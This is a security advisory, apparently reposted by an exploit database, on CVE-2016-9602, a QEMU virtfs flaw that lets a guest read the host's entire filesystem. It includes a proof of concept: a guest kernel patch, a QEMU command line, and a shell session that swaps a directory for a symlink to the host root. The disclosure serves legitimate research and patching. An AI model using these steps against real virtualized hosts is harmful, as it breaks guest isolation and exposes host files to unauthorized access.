###########################

# QEMU Host Filesystem Arbitrary Access Vulnerability

###########################

QEMU: virtfs permits guest to access entire host filesystem 

CVE-2016-9602


If an attacker can execute arbitrary code in the guest kernel and a virtfs is set up, the attacker can access the entire filesystem of the host using a symlink attack. This might require the security model "passthrough" or "none" - I haven't tested with the mapped modes.


Repro steps:

1. Place some file on the host that is not present in the guest - I use a file "real_root_marker" in the root directory of the host:

# echo "this is the host's filesystem root" > /real_root_marker

2. Clone the Linux kernel, apply the following patch and compile it:

diff --git a/fs/9p/vfs_inode.c b/fs/9p/vfs_inode.c
index 30ca770..d6e47df 100644
--- a/fs/9p/vfs_inode.c
+++ b/fs/9p/vfs_inode.c
@@ -803,6 +803,8 @@ struct dentry *v9fs_vfs_lookup(struct inode *dir, struct dentry *dentry,
                return ERR_CAST(dfid);
 
        name = (char *) dentry->d_name.name;
+       if (!strncmp(name, "SAME_", 5))
+               name = name + 5;
        fid = p9_client_walk(dfid, 1, &name, 1);
        if (IS_ERR(fid)) {
                if (fid == ERR_PTR(-ENOENT)) {

3. Run qemu, with the patched kernel as guest kernel and with at least one virtfs filesystem. I'm using the following commandline, but that's somewhat specific to my setup - anything with a virtfs in passthrough/none mode should work as far as I can tell:

/path/to/qemu/x86_64-softmmu/qemu-system-x86_64 -m 500M -enable-kvm -nographic \
-snapshot \
-drive file=build/initfs.fsimg,index=0,media=disk \
-virtfs local,path=./vm_root,mount_tag=virt_root,security_model=passthrough \
-kernel ./vm_root/root/linux/arch/x86/boot/bzImage \
-net user,net=192.168.0.0/24,host=192.168.0.2,restrict=off,dns=192.168.0.3,hostfwd=tcp:127.0.0.1:2222-:22 \
-net nic \
-append "root=/dev/sda ro debug ignore_loglevel console=ttyS0"

4. Inside the VM, mount the virtfs.
5. Somewhere inside the virtfs mountpoint, do this:

root@jannh-vm:/tmp# cat /real_root_marker
cat: /real_root_marker: No such file or directory
root@jannh-vm:/tmp# mkdir deleteme
root@jannh-vm:/tmp# cd SAME_deleteme
root@jannh-vm:/tmp/SAME_deleteme# rmdir /tmp/deleteme
root@jannh-vm:/tmp/SAME_deleteme# ln -s / /tmp/deleteme
root@jannh-vm:/tmp/SAME_deleteme# cat real_root_marker
this is the host's filesystem root

I tested with a recent qemu version from git://git.qemu-project.org/qemu.git (commit <a href="https://crrev.com/a92f7fe5a82ac9e8d127e92c5dce1a84064126da" title="" class="" rel="nofollow">a92f7fe5a82ac9e8d127e92c5dce1a84064126da</a>).


I believe that this is a security issue because according to the qemu manpage, virtfs only exposes the specified directory, while actually, it is possible to access the entire host filesystem.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.



Found by: jannh

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2017-02-19]

###########################